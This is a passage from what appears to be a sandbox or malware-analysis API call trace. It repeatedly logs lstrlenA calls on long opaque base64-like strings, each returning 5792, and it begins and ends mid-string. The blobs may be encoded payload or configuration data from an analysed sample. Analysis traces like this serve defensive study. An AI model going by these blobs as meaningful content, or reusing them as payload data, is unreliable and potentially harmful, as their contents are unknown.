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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526Ry